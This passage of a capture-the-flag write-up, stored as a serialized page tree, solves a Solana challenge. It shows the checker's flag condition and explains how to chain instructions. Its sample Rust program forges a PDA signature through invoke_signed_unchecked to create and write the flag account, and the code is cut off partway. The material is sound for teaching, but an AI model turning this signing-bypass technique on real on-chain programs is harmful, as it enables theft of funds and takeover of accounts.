&user).await?;\n",[48020],{"type":24,"tag":80,"props":48021,"children":48022},{"__ignoreMap":7},[48023,48073],{"type":24,"tag":147,"props":48024,"children":48025},{"class":149,"line":150},[48026,48030,48035,48039,48043,48047,48052,48056,48060,48065,48069],{"type":24,"tag":147,"props":48027,"children":48028},{"style":218},[48029],{"type":29,"value":17406},{"type":24,"tag":147,"props":48031,"children":48032},{"style":247},[48033],{"type":29,"value":48034}," solve_ix",{"type":24,"tag":147,"props":48036,"children":48037},{"style":241},[48038],{"type":29,"value":651},{"type":24,"tag":147,"props":48040,"children":48041},{"style":247},[48042],{"type":29,"value":47639},{"type":24,"tag":147,"props":48044,"children":48045},{"style":241},[48046],{"type":29,"value":87},{"type":24,"tag":147,"props":48048,"children":48049},{"style":229},[48050],{"type":29,"value":48051},"read_instruction",{"type":24,"tag":147,"props":48053,"children":48054},{"style":235},[48055],{"type":29,"value":47621},{"type":24,"tag":147,"props":48057,"children":48058},{"style":241},[48059],{"type":29,"value":9106},{"type":24,"tag":147,"props":48061,"children":48062},{"style":235},[48063],{"type":29,"value":48064},"ID)",{"type":24,"tag":147,"props":48066,"children":48067},{"style":241},[48068],{"type":29,"value":8785},{"type":24,"tag":147,"props":48070,"children":48071},{"style":235},[48072],{"type":29,"value":432},{"type":24,"tag":147,"props":48074,"children":48075},{"class":149,"line":160},[48076,48080,48084,48089,48093,48097,48101,48106,48110,48114,48118,48122,48127,48131,48135,48139,48143,48147,48151,48155],{"type":24,"tag":147,"props":48077,"children":48078},{"style":247},[48079],{"type":29,"value":47808},{"type":24,"tag":147,"props":48081,"children":48082},{"style":241},[48083],{"type":29,"value":87},{"type":24,"tag":147,"props":48085,"children":48086},{"style":229},[48087],{"type":29,"value":48088},"run_ixs_full",{"type":24,"tag":147,"props":48090,"children":48091},{"style":235},[48092],{"type":29,"value":480},{"type":24,"tag":147,"props":48094,"children":48095},{"style":241},[48096],{"type":29,"value":485},{"type":24,"tag":147,"props":48098,"children":48099},{"style":235},[48100],{"type":29,"value":9358},{"type":24,"tag":147,"props":48102,"children":48103},{"style":247},[48104],{"type":29,"value":48105},"solve_ix",{"type":24,"tag":147,"props":48107,"children":48108},{"style":235},[48109],{"type":29,"value":28662},{"type":24,"tag":147,"props":48111,"children":48112},{"style":241},[48113],{"type":29,"value":485},{"type":24,"tag":147,"props":48115,"children":48116},{"style":235},[48117],{"type":29,"value":9358},{"type":24,"tag":147,"props":48119,"children":48120},{"style":241},[48121],{"type":29,"value":485},{"type":24,"tag":147,"props":48123,"children":48124},{"style":247},[48125],{"type":29,"value":48126},"user_keypair",{"type":24,"tag":147,"props":48128,"children":48129},{"style":235},[48130],{"type":29,"value":28662},{"type":24,"tag":147,"props":48132,"children":48133},{"style":241},[48134],{"type":29,"value":485},{"type":24,"tag":147,"props":48136,"children":48137},{"style":247},[48138],{"type":29,"value":25836},{"type":24,"tag":147,"props":48140,"children":48141},{"style":235},[48142],{"type":29,"value":8758},{"type":24,"tag":147,"props":48144,"children":48145},{"style":241},[48146],{"type":29,"value":87},{"type":24,"tag":147,"props":48148,"children":48149},{"style":321},[48150],{"type":29,"value":38517},{"type":24,"tag":147,"props":48152,"children":48153},{"style":241},[48154],{"type":29,"value":8785},{"type":24,"tag":147,"props":48156,"children":48157},{"style":235},[48158],{"type":29,"value":432},{"type":24,"tag":2674,"props":48160,"children":48161},{"start":178},[48162],{"type":24,"tag":2678,"props":48163,"children":48164},{},[48165],{"type":29,"value":48166},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":24,"tag":137,"props":48168,"children":48170},{"className":8614,"code":48169,"language":8613,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n    if acct.data.len() == 0x1337\n        && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n    {\n        writeln!(socket, \"congrats!\")?;\n        if let Ok(flag) = env::var(\"FLAG\") {\n            writeln!(socket, \"flag: {:?}\", flag)?;\n        } else {\n            writeln!(socket, \"flag not found, please contact admin\")?;\n        }\n    }\n}\n",[48171],{"type":24,"tag":80,"props":48172,"children":48173},{"__ignoreMap":7},[48174,48258,48349,48390,48474,48481,48518,48575,48620,48635,48671,48678,48685],{"type":24,"tag":147,"props":48175,"children":48176},{"class":149,"line":150},[48177,48181,48186,48190,48194,48198,48203,48207,48211,48215,48220,48224,48229,48234,48238,48242,48246,48250,48254],{"type":24,"tag":147,"props":48178,"children":48179},{"style":218},[48180],{"type":29,"value":17406},{"type":24,"tag":147,"props":48182,"children":48183},{"style":247},[48184],{"type":29,"value":48185}," flag",{"type":24,"tag":147,"props":48187,"children":48188},{"style":241},[48189],{"type":29,"value":651},{"type":24,"tag":147,"props":48191,"children":48192},{"style":9044},[48193],{"type":29,"value":26459},{"type":24,"tag":147,"props":48195,"children":48196},{"style":241},[48197],{"type":29,"value":9106},{"type":24,"tag":147,"props":48199,"children":48200},{"style":229},[48201],{"type":29,"value":48202},"create_program_address",{"type":24,"tag":147,"props":48204,"children":48205},{"style":235},[48206],{"type":29,"value":480},{"type":24,"tag":147,"props":48208,"children":48209},{"style":241},[48210],{"type":29,"value":485},{"type":24,"tag":147,"props":48212,"children":48213},{"style":235},[48214],{"type":29,"value":9358},{"type":24,"tag":147,"props":48216,"children":48217},{"style":3534},[48218],{"type":29,"value":48219},"\"FLAG\"",{"type":24,"tag":147,"props":48221,"children":48222},{"style":241},[48223],{"type":29,"value":87},{"type":24,"tag":147,"props":48225,"children":48226},{"style":229},[48227],{"type":29,"value":48228},"as_ref",{"type":24,"tag":147,"props":48230,"children":48231},{"style":235},[48232],{"type":29,"value":48233},"()], ",{"type":24,"tag":147,"props":48235,"children":48236},{"style":241},[48237],{"type":29,"value":485},{"type":24,"tag":147,"props":48239,"children":48240},{"style":235},[48241],{"type":29,"value":47808},{"type":24,"tag":147,"props":48243,"children":48244},{"style":241},[48245],{"type":29,"value":9106},{"type":24,"tag":147,"props":48247,"children":48248},{"style":235},[48249],{"type":29,"value":48064},{"type":24,"tag":147,"props":48251,"children":48252},{"style":241},[48253],{"type":29,"value":8785},{"type":24,"tag":147,"props":48255,"children":48256},{"style":235},[48257],{"type":29,"value":432},{"type":24,"tag":147,"props":48259,"children":48260},{"class":149,"line":160},[48261,48265,48269,48273,48277,48282,48286,48290,48294,48298,48302,48306,48311,48315,48320,48324,48329,48333,48337,48341,48345],{"type":24,"tag":147,"props":48262,"children":48263},{"style":321},[48264],{"type":29,"value":21191},{"type":24,"tag":147,"props":48266,"children":48267},{"style":218},[48268],{"type":29,"value":32906},{"type":24,"tag":147,"props":48270,"children":48271},{"style":9044},[48272],{"type":29,"value":32911},{"type":24,"tag":147,"props":48274,"children":48275},{"style":235},[48276],{"type":29,"value":480},{"type":24,"tag":147,"props":48278,"children":48279},{"style":247},[48280],{"type":29,"value":48281},"acct",{"type":24,"tag":147,"props":48283,"children":48284},{"style":235},[48285],{"type":29,"value":564},{"type":24,"tag":147,"props":48287,"children":48288},{"style":241},[48289],{"type":29,"value":369},{"type":24,"tag":147,"props":48291,"children":48292},{"style":247},[48293],{"type":29,"value":47639},{"type":24,"tag":147,"props":48295,"children":48296},{"style":241},[48297],{"type":29,"value":87},{"type":24,"tag":147,"props":48299,"children":48300},{"style":235},[48301],{"type":29,"value":25884},{"type":24,"tag":147,"props":48303,"children":48304},{"style":241},[48305],{"type":29,"value":87},{"type":24,"tag":147,"props":48307,"children":48308},{"style":235},[48309],{"type":29,"value":48310},"banks_client",{"type":24,"tag":147,"props":48312,"children":48313},{"style":241},[48314],{"type":29,"value":87},{"type":24,"tag":147,"props":48316,"children":48317},{"style":229},[48318],{"type":29,"value":48319},"get_account",{"type":24,"tag":147,"props":48321,"children":48322},{"style":235},[48323],{"type":29,"value":480},{"type":24,"tag":147,"props":48325,"children":48326},{"style":247},[48327],{"type":29,"value":48328},"flag",{"type":24,"tag":147,"props":48330,"children":48331},{"style":235},[48332],{"type":29,"value":8758},{"type":24,"tag":147,"props":48334,"children":48335},{"style":241},[48336],{"type":29,"value":87},{"type":24,"tag":147,"props":48338,"children":48339},{"style":321},[48340],{"type":29,"value":38517},{"type":24,"tag":147,"props":48342,"children":48343},{"style":241},[48344],{"type":29,"value":8785},{"type":24,"tag":147,"props":48346,"children":48347},{"style":235},[48348],{"type":29,"value":6630},{"type":24,"tag":147,"props":48350,"children":48351},{"class":149,"line":169},[48352,48356,48361,48365,48369,48373,48377,48381,48385],{"type":24,"tag":147,"props":48353,"children":48354},{"style":321},[48355],{"type":29,"value":4759},{"type":24,"tag":147,"props":48357,"children":48358},{"style":247},[48359],{"type":29,"value":48360}," acct",{"type":24,"tag":147,"props":48362,"children":48363},{"style":241},[48364],{"type":29,"value":87},{"type":24,"tag":147,"props":48366,"children":48367},{"style":235},[48368],{"type":29,"value":1139},{"type":24,"tag":147,"props":48370,"children":48371},{"style":241},[48372],{"type":29,"value":87},{"type":24,"tag":147,"props":48374,"children":48375},{"style":229},[48376],{"type":29,"value":6227},{"type":24,"tag":147,"props":48378,"children":48379},{"style":235},[48380],{"type":29,"value":19658},{"type":24,"tag":147,"props":48382,"children":48383},{"style":241},[48384],{"type":29,"value":6600},{"type":24,"tag":147,"props":48386,"children":48387},{"style":705},[48388],{"type":29,"value":48389}," 0x1337\n",{"type":24,"tag":147,"props":48391,"children":48392},{"class":149,"line":178},[48393,48398,48402,48406,48411,48415,48419,48423,48428,48432,48436,48440,48444,48448,48452,48456,48460,48465,48469],{"type":24,"tag":147,"props":48394,"children":48395},{"style":241},[48396],{"type":29,"value":48397},"        &&",{"type":24,"tag":147,"props":48399,"children":48400},{"style":9044},[48401],{"type":29,"value":11484},{"type":24,"tag":147,"props":48403,"children":48404},{"style":241},[48405],{"type":29,"value":9106},{"type":24,"tag":147,"props":48407,"children":48408},{"style":229},[48409],{"type":29,"value":48410},"from_le_bytes",{"type":24,"tag":147,"props":48412,"children":48413},{"style":235},[48414],{"type":29,"value":480},{"type":24,"tag":147,"props":48416,"children":48417},{"style":247},[48418],{"type":29,"value":48281},{"type":24,"tag":147,"props":48420,"children":48421},{"style":241},[48422],{"type":29,"value":87},{"type":24,"tag":147,"props":48424,"children":48425},{"style":235},[48426],{"type":29,"value":48427},"data[",{"type":24,"tag":147,"props":48429,"children":48430},{"style":241},[48431],{"type":29,"value":8683},{"type":24,"tag":147,"props":48433,"children":48434},{"style":705},[48435],{"type":29,"value":9700},{"type":24,"tag":147,"props":48437,"children":48438},{"style":235},[48439],{"type":29,"value":21023},{"type":24,"tag":147,"props":48441,"children":48442},{"style":241},[48443],{"type":29,"value":87},{"type":24,"tag":147,"props":48445,"children":48446},{"style":229},[48447],{"type":29,"value":31763},{"type":24,"tag":147,"props":48449,"children":48450},{"style":235},[48451],{"type":29,"value":19495},{"type":24,"tag":147,"props":48453,"children":48454},{"style":241},[48455],{"type":29,"value":87},{"type":24,"tag":147,"props":48457,"children":48458},{"style":229},[48459],{"type":29,"value":9290},{"type":24,"tag":147,"props":48461,"children":48462},{"style":235},[48463],{"type":29,"value":48464},"()) ",{"type":24,"tag":147,"props":48466,"children":48467},{"style":241},[48468],{"type":29,"value":6600},{"type":24,"tag":147,"props":48470,"children":48471},{"style":705},[48472],{"type":29,"value":48473}," 0x4337\n",{"type":24,"tag":147,"props":48475,"children":48476},{"class":149,"line":187},[48477],{"type":24,"tag":147,"props":48478,"children":48479},{"style":235},[48480],{"type":29,"value":3079},{"type":24,"tag":147,"props":48482,"children":48483},{"class":149,"line":196},[48484,48489,48493,48497,48501,48506,48510,48514],{"type":24,"tag":147,"props":48485,"children":48486},{"style":229},[48487],{"type":29,"value":48488},"        writeln!",{"type":24,"tag":147,"props":48490,"children":48491},{"style":235},[48492],{"type":29,"value":480},{"type":24,"tag":147,"props":48494,"children":48495},{"style":247},[48496],{"type":29,"value":47534},{"type":24,"tag":147,"props":48498,"children":48499},{"style":235},[48500],{"type":29,"value":546},{"type":24,"tag":147,"props":48502,"children":48503},{"style":3534},[48504],{"type":29,"value":48505},"\"congrats!\"",{"type":24,"tag":147,"props":48507,"children":48508},{"style":235},[48509],{"type":29,"value":8758},{"type":24,"tag":147,"props":48511,"children":48512},{"style":241},[48513],{"type":29,"value":8785},{"type":24,"tag":147,"props":48515,"children":48516},{"style":235},[48517],{"type":29,"value":432},{"type":24,"tag":147,"props":48519,"children":48520},{"class":149,"line":205},[48521,48525,48529,48534,48538,48542,48546,48550,48555,48559,48563,48567,48571],{"type":24,"tag":147,"props":48522,"children":48523},{"style":321},[48524],{"type":29,"value":403},{"type":24,"tag":147,"props":48526,"children":48527},{"style":218},[48528],{"type":29,"value":32906},{"type":24,"tag":147,"props":48530,"children":48531},{"style":9044},[48532],{"type":29,"value":48533}," Ok",{"type":24,"tag":147,"props":48535,"children":48536},{"style":235},[48537],{"type":29,"value":480},{"type":24,"tag":147,"props":48539,"children":48540},{"style":247},[48541],{"type":29,"value":48328},{"type":24,"tag":147,"props":48543,"children":48544},{"style":235},[48545],{"type":29,"value":564},{"type":24,"tag":147,"props":48547,"children":48548},{"style":241},[48549],{"type":29,"value":369},{"type":24,"tag":147,"props":48551,"children":48552},{"style":235},[48553],{"type":29,"value":48554}," env",{"type":24,"tag":147,"props":48556,"children":48557},{"style":241},[48558],{"type":29,"value":9106},{"type":24,"tag":147,"props":48560,"children":48561},{"style":229},[48562],{"type":29,"value":40648},{"type":24,"tag":147,"props":48564,"children":48565},{"style":235},[48566],{"type":29,"value":480},{"type":24,"tag":147,"props":48568,"children":48569},{"style":3534},[48570],{"type":29,"value":48219},{"type":24,"tag":147,"props":48572,"children":48573},{"style":235},[48574],{"type":29,"value":505},{"type":24,"tag":147,"props":48576,"children":48577},{"class":149,"line":214},[48578,48583,48587,48591,48595,48600,48604,48608,48612,48616],{"type":24,"tag":147,"props":48579,"children":48580},{"style":229},[48581],{"type":29,"value":48582},"            writeln!",{"type":24,"tag":147,"props":48584,"children":48585},{"style":235},[48586],{"type":29,"value":480},{"type":24,"tag":147,"props":48588,"children":48589},{"style":247},[48590],{"type":29,"value":47534},{"type":24,"tag":147,"props":48592,"children":48593},{"style":235},[48594],{"type":29,"value":546},{"type":24,"tag":147,"props":48596,"children":48597},{"style":3534},[48598],{"type":29,"value":48599},"\"flag: {:?}\"",{"type":24,"tag":147,"props":48601,"children":48602},{"style":235},[48603],{"type":29,"value":546},{"type":24,"tag":147,"props":48605,"children":48606},{"style":247},[48607],{"type":29,"value":48328},{"type":24,"tag":147,"props":48609,"children":48610},{"style":235},[48611],{"type":29,"value":8758},{"type":24,"tag":147,"props":48613,"children":48614},{"style":241},[48615],{"type":29,"value":8785},{"type":24,"tag":147,"props":48617,"children":48618},{"style":235},[48619],{"type":29,"value":432},{"type":24,"tag":147,"props":48621,"children":48622},{"class":149,"line":272},[48623,48627,48631],{"type":24,"tag":147,"props":48624,"children":48625},{"style":235},[48626],{"type":29,"value":8938},{"type":24,"tag":147,"props":48628,"children":48629},{"style":321},[48630],{"type":29,"value":6625},{"type":24,"tag":147,"props":48632,"children":48633},{"style":235},[48634],{"type":29,"value":6630},{"type":24,"tag":147,"props":48636,"children":48637},{"class":149,"line":281},[48638,48642,48646,48650,48654,48659,48663,48667],{"type":24,"tag":147,"props":48639,"children":48640},{"style":229},[48641],{"type":29,"value":48582},{"type":24,"tag":147,"props":48643,"children":48644},{"style":235},[48645],{"type":29,"value":480},{"type":24,"tag":147,"props":48647,"children":48648},{"style":247},[48649],{"type":29,"value":47534},{"type":24,"tag":147,"props":48651,"children":48652},{"style":235},[48653],{"type":29,"value":546},{"type":24,"tag":147,"props":48655,"children":48656},{"style":3534},[48657],{"type":29,"value":48658},"\"flag not found, please contact admin\"",{"type":24,"tag":147,"props":48660,"children":48661},{"style":235},[48662],{"type":29,"value":8758},{"type":24,"tag":147,"props":48664,"children":48665},{"style":241},[48666],{"type":29,"value":8785},{"type":24,"tag":147,"props":48668,"children":48669},{"style":235},[48670],{"type":29,"value":432},{"type":24,"tag":147,"props":48672,"children":48673},{"class":149,"line":299},[48674],{"type":24,"tag":147,"props":48675,"children":48676},{"style":235},[48677],{"type":29,"value":441},{"type":24,"tag":147,"props":48679,"children":48680},{"class":149,"line":308},[48681],{"type":24,"tag":147,"props":48682,"children":48683},{"style":235},[48684],{"type":29,"value":1952},{"type":24,"tag":147,"props":48686,"children":48687},{"class":149,"line":317},[48688],{"type":24,"tag":147,"props":48689,"children":48690},{"style":235},[48691],{"type":29,"value":827},{"type":24,"tag":32,"props":48693,"children":48695},{"id":48694},"solution-idea",[48696],{"type":29,"value":48697},"Solution Idea",{"type":24,"tag":25,"props":48699,"children":48700},{},[48701,48703,48708],{"type":29,"value":48702},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":24,"tag":80,"props":48704,"children":48706},{"className":48705},[],[48707],{"type":29,"value":41282},{"type":29,"value":48709}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":24,"tag":25,"props":48711,"children":48712},{},[48713,48715,48721],{"type":29,"value":48714},"In order to get the flag, we need to make sure that the account at ",{"type":24,"tag":80,"props":48716,"children":48718},{"className":48717},[],[48719],{"type":29,"value":48720},"PDA(\"FLAG\")",{"type":29,"value":48722}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":24,"tag":25,"props":48724,"children":48725},{},[48726,48728,48735],{"type":29,"value":48727},"Essentially, we need to ",{"type":24,"tag":2773,"props":48729,"children":48732},{"href":48730,"rel":48731},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[2777],[48733],{"type":29,"value":48734},"invoke the System Program",{"type":29,"value":48736},", and write controlled data into the newly created account.",{"type":24,"tag":25,"props":48738,"children":48739},{},[48740],{"type":29,"value":48741},"A sample program that does this is as follows:",{"type":24,"tag":137,"props":48743,"children":48745},{"className":8614,"code":48744,"language":8613,"meta":7,"style":7},"pub fn process_instruction(\n    program_id: &Pubkey,\n    accounts: &[AccountInfo],\n    data: &[u8]\n) -> ProgramResult {\n    let flag_pda_ai = &accounts[0];\n    let user_ai = &accounts[1];\n\n    // Step 1: Create a new account with 0x1337 bytes of data\n    let instruction = Instruction::new_with_bincode(\n        system_program::ID,\n        &SystemInstruction::CreateAccount {\n            space: 0x1337,\n            lamports: Rent::default().minimum_balance(0x1337),\n            owner: chall::ID\n        },\n        vec![\n            AccountMeta::new(*user_ai.key, true),\n            AccountMeta::new(*flag_pda_ai.key, true),\n        ],\n    );\n    invoke_signed_unchecked(\n        &instruction,\n        &[\n            user_ai.clone(),\n            flag_pda_ai.clone(),\n        ],\n        &[&[\"FLAG\".as_ref()]],\n    )?;\n\n    // Step 2: Write 0x4337 to the first 8 bytes of the account\n    flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n    Ok(())\n}\n",[48746],{"type":24,"tag":80,"props":48747,"children":48748},{"__ignoreMap":7},[48749,48769,48793,48821,48849,48869,48905,48941,48948,48956,48989,49006,49031,49052,49104,49129,49136,49149,49195,49239,49247,49255,49266,49282,49293,49313,49333,49340,49376,49391,49398,49406,49485,49492,49503],{"type":24,"tag":147,"props":48750,"children":48751},{"class":149,"line":150},[48752,48756,48760,48765],{"type":24,"tag":147,"props":48753,"children":48754},{"style":218},[48755],{"type":29,"value":19307},{"type":24,"tag":147,"props":48757,"children":48758},{"style":218},[48759],{"type":29,"value":19312},{"type":24,"tag":147,"props":48761,"children":48762},{"style":229},[48763],{"type":29,"value":48764}," process_instruction",{"type":24,"tag":147,"props":48766,"children":48767},{"style":235},[48768],{"type":29,"value":9088},{"type":24,"tag":147,"props":48770,"children":48771},{"class":149,"line":160},[48772,48777,48781,48785,48789],{"type":24,"tag":147,"props":48773,"children":48774},{"style":247},[48775],{"type":29,"value":48776},"    program_id",{"type":24,"tag":147,"props":48778,"children":48779},{"style":241},[48780],{"type":29,"value":978},{"type":24,"tag":147,"props":48782,"children":48783},{"style":241},[48784],{"type":29,"value":12767},{"type":24,"tag":147,"props":48786,"children":48787},{"style":9044},[48788],{"type":29,"value":27000},{"type":24,"tag":147,"props":48790,"children":48791},{"style":235},[48792],{"type":29,"value":1549},{"type":24,"tag":147,"props":48794,"children":48795},{"class":149,"line":169},[48796,48801,48805,48809,48813,48817],{"type":24,"tag":147,"props":48797,"children":48798},{"style":247},[48799],{"type":29,"value":48800},"    accounts",{"type":24,"tag":147,"props":48802,"children":48803},{"style":241},[48804],{"type":29,"value":978},{"type":24,"tag":147,"props":48806,"children":48807},{"style":241},[48808],{"type":29,"value":12767},{"type":24,"tag":147,"props":48810,"children":48811},{"style":235},[48812],{"type":29,"value":9358},{"type":24,"tag":147,"props":48814,"children":48815},{"style":9044},[48816],{"type":29,"value":20552},{"type":24,"tag":147,"props":48818,"children":48819},{"style":235},[48820],{"type":29,"value":19877},{"type":24,"tag":147,"props":48822,"children":48823},{"class":149,"line":178},[48824,48829,48833,48837,48841,48845],{"type":24,"tag":147,"props":48825,"children":48826},{"style":247},[48827],{"type":29,"value":48828},"    data",{"type":24,"tag":147,"props":48830,"children":48831},{"style":241},[48832],{"type":29,"value":978},{"type":24,"tag":147,"props":48834,"children":48835},{"style":241},[48836],{"type":29,"value":12767},{"type":24,"tag":147,"props":48838,"children":48839},{"style":235},[48840],{"type":29,"value":9358},{"type":24,"tag":147,"props":48842,"children":48843},{"style":9044},[48844],{"type":29,"value":2625},{"type":24,"tag":147,"props":48846,"children":48847},{"style":235},[48848],{"type":29,"value":17391},{"type":24,"tag":147,"props":48850,"children":48851},{"class":149,"line":187},[48852,48856,48860,48865],{"type":24,"tag":147,"props":48853,"children":48854},{"style":235},[48855],{"type":29,"value":564},{"type":24,"tag":147,"props":48857,"children":48858},{"style":241},[48859],{"type":29,"value":495},{"type":24,"tag":147,"props":48861,"children":48862},{"style":9044},[48863],{"type":29,"value":48864}," ProgramResult",{"type":24,"tag":147,"props":48866,"children":48867},{"style":235},[48868],{"type":29,"value":6630},{"type":24,"tag":147,"props":48870,"children":48871},{"class":149,"line":196},[48872,48876,48881,48885,48889,48893,48897,48901],{"type":24,"tag":147,"props":48873,"children":48874},{"style":218},[48875],{"type":29,"value":8634},{"type":24,"tag":147,"props":48877,"children":48878},{"style":247},[48879],{"type":29,"value":48880}," flag_pda_ai",{"type":24,"tag":147,"props":48882,"children":48883},{"style":241},[48884],{"type":29,"value":651},{"type":24,"tag":147,"props":48886,"children":48887},{"style":241},[48888],{"type":29,"value":12767},{"type":24,"tag":147,"props":48890,"children":48891},{"style":247},[48892],{"type":29,"value":20289},{"type":24,"tag":147,"props":48894,"children":48895},{"style":235},[48896],{"type":29,"value":9358},{"type":24,"tag":147,"props":48898,"children":48899},{"style":705},[48900],{"type":29,"value":3173},{"type":24,"tag":147,"props":48902,"children":48903},{"style":235},[48904],{"type":29,"value":37174},{"type":24,"tag":147,"props":48906,"children":48907},{"class":149,"line":205},[48908,48912,48917,48921,48925,48929,48933,48937],{"type":24,"tag":147,"props":48909,"children":48910},{"style":218},[48911],{"type":29,"value":8634},{"type":24,"tag":147,"props":48913,"children":48914},{"style":247},[48915],{"type":29,"value":48916}," user_ai",{"type":24,"tag":147,"props":48918,"children":48919},{"style":241},[48920],{"type":29,"value":651},{"type":24,"tag":147,"props":48922,"children":48923},{"style":241},[48924],{"type":29,"value":12767},{"type":24,"tag":147,"props":48926,"children":48927},{"style":247},[48928],{"type":29,"value":20289},{"type":24,"tag":147,"props":48930,"children":48931},{"style":235},[48932],{"type":29,"value":9358},{"type":24,"tag":147,"props":48934,"children":48935},{"style":705},[48936],{"type":29,"value":1154},{"type":24,"tag":147,"props":48938,"children":48939},{"style":235},[48940],{"type":29,"value":37174},{"type":24,"tag":147,"props":48942,"children":48943},{"class":149,"line":214},[48944],{"type":24,"tag":147,"props":48945,"children":48946},{"emptyLinePlaceholder":16},[48947],{"type":29,"value":314},{"type":24,"tag":147,"props":48949,"children":48950},{"class":149,"line":272},[48951],{"type":24,"tag":147,"props":48952,"children":48953},{"style":154},[48954],{"type":29,"value":48955},"    // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":24,"tag":147,"props":48957,"children":48958},{"class":149,"line":281},[48959,48963,48968,48972,48976,48980,48985],{"type":24,"tag":147,"props":48960,"children":48961},{"style":218},[48962],{"type":29,"value":8634},{"type":24,"tag":147,"props":48964,"children":48965},{"style":247},[48966],{"type":29,"value":48967}," instruction",{"type":24,"tag":147,"props":48969,"children":48970},{"style":241},[48971],{"type":29,"value":651},{"type":24,"tag":147,"props":48973,"children":48974},{"style":9044},[48975],{"type":29,"value":46607},{"type":24,"tag":147,"props":48977,"children":48978},{"style":241},[48979],{"type":29,"value":9106},{"type":24,"tag":147,"props":48981,"children":48982},{"style":229},[48983],{"type":29,"value":48984},"new_with_bincode",{"type":24,"tag":147,"props":48986,"children":48987},{"style":235},[48988],{"type":29,"value":9088},{"type":24,"tag":147,"props":48990,"children":48991},{"class":149,"line":299},[48992,48997,49001],{"type":24,"tag":147,"props":48993,"children":48994},{"style":235},[48995],{"type":29,"value":48996},"        system_program",{"type":24,"tag":147,"props":48998,"children":48999},{"style":241},[49000],{"type":29,"value":9106},{"type":24,"tag":147,"props":49002,"children":49003},{"style":235},[49004],{"type":29,"value":49005},"ID,\n",{"type":24,"tag":147,"props":49007,"children":49008},{"class":149,"line":308},[49009,49013,49018,49022,49027],{"type":24,"tag":147,"props":49010,"children":49011},{"style":241},[49012],{"type":29,"value":9096},{"type":24,"tag":147,"props":49014,"children":49015},{"style":235},[49016],{"type":29,"value":49017},"SystemInstruction",{"type":24,"tag":147,"props":49019,"children":49020},{"style":241},[49021],{"type":29,"value":9106},{"type":24,"tag":147,"props":49023,"children":49024},{"style":9044},[49025],{"type":29,"value":49026},"CreateAccount",{"type":24,"tag":147,"props":49028,"children":49029},{"style":235},[49030],{"type":29,"value":6630},{"type":24,"tag":147,"props":49032,"children":49033},{"class":149,"line":317},[49034,49039,49043,49048],{"type":24,"tag":147,"props":49035,"children":49036},{"style":247},[49037],{"type":29,"value":49038},"            space",{"type":24,"tag":147,"props":49040,"children":49041},{"style":241},[49042],{"type":29,"value":978},{"type":24,"tag":147,"props":49044,"children":49045},{"style":705},[49046],{"type":29,"value":49047}," 0x1337",{"type":24,"tag":147,"props":49049,"children":49050},{"style":235},[49051],{"type":29,"value":1549},{"type":24,"tag":147,"props":49053,"children":49054},{"class":149,"line":332},[49055,49060,49064,49069,49073,49078,49082,49086,49091,49095,49100],{"type":24,"tag":147,"props":49056,"children":49057},{"style":247},[49058],{"type":29,"value":49059},"            lamports",{"type":24,"tag":147,"props":49061,"children":49062},{"style":241},[49063],{"type":29,"value":978},{"type":24,"tag":147,"props":49065,"children":49066},{"style":235},[49067],{"type":29,"value":49068}," Rent",{"type":24,"tag":147,"props":49070,"children":49071},{"style":241},[49072],{"type":29,"value":9106},{"type":24,"tag":147,"props":49074,"children":49075},{"style":229},[49076],{"type":29,"value":49077},"default",{"type":24,"tag":147,"props":49079,"children":49080},{"style":235},[49081],{"type":29,"value":19495},{"type":24,"tag":147,"props":49083,"children":49084},{"style":241},[49085],{"type":29,"value":87},{"type":24,"tag":147,"props":49087,"children":49088},{"style":229},[49089],{"type":29,"value":49090},"minimum_balance",{"type":24,"tag":147,"props":49092,"children":49093},{"style":235},[49094],{"type":29,"value":480},{"type":24,"tag":147,"props":49096,"children":49097},{"style":705},[49098],{"type":29,"value":49099},"0x1337",{"type":24,"tag":147,"props":49101,"children":49102},{"style":235},[49103],{"type":29,"value":12362},{"type":24,"tag":147,"props":49105,"children":49106},{"class":149,"line":350},[49107,49112,49116,49120,49124],{"type":24,"tag":147,"props":49108,"children":49109},{"style":247},[49110],{"type":29,"value":49111},"            owner",{"type":24,"tag":147,"props":49113,"children":49114},{"style":241},[49115],{"type":29,"value":978},{"type":24,"tag":147,"props":49117,"children":49118},{"style":235},[49119],{"type":29,"value":47639},{"type":24,"tag":147,"props":49121,"children":49122},{"style":241},[49123],{"type":29,"value":9106},{"type":24,"tag":147,"props":49125,"children":49126},{"style":235},[49127],{"type":29,"value":49128},"ID\n",{"type":24,"tag":147,"props":49130,"children":49131},{"class":149,"line":358},[49132],{"type":24,"tag":147,"props":49133,"children":49134},{"style":235},[49135],{"type":29,"value":30974},{"type":24,"tag":147,"props":49137,"children":49138},{"class":149,"line":397},[49139,49144],{"type":24,"tag":147,"props":49140,"children":49141},{"style":229},[49142],{"type":29,"value":49143},"        vec!",{"type":24,"tag":147,"props":49145,"children":49146},{"style":235},[49147],{"type":29,"value":49148},"[\n",{"type":24,"tag":147,"props":49150,"children":49151},{"class":149,"line":421},[49152,49157,49161,49165,49169,49173,49178,49182,49187,49191],{"type":24,"tag":147,"props":49153,"children":49154},{"style":235},[49155],{"type":29,"value":49156},"            AccountMeta",{"type":24,"tag":147,"props":49158,"children":49159},{"style":241},[49160],{"type":29,"value":9106},{"type":24,"tag":147,"props":49162,"children":49163},{"style":229},[49164],{"type":29,"value":20734},{"type":24,"tag":147,"props":49166,"children":49167},{"style":235},[49168],{"type":29,"value":480},{"type":24,"tag":147,"props":49170,"children":49171},{"style":241},[49172],{"type":29,"value":244},{"type":24,"tag":147,"props":49174,"children":49175},{"style":247},[49176],{"type":29,"value":49177},"user_ai",{"type":24,"tag":147,"props":49179,"children":49180},{"style":241},[49181],{"type":29,"value":87},{"type":24,"tag":147,"props":49183,"children":49184},{"style":235},[49185],{"type":29,"value":49186},"key, 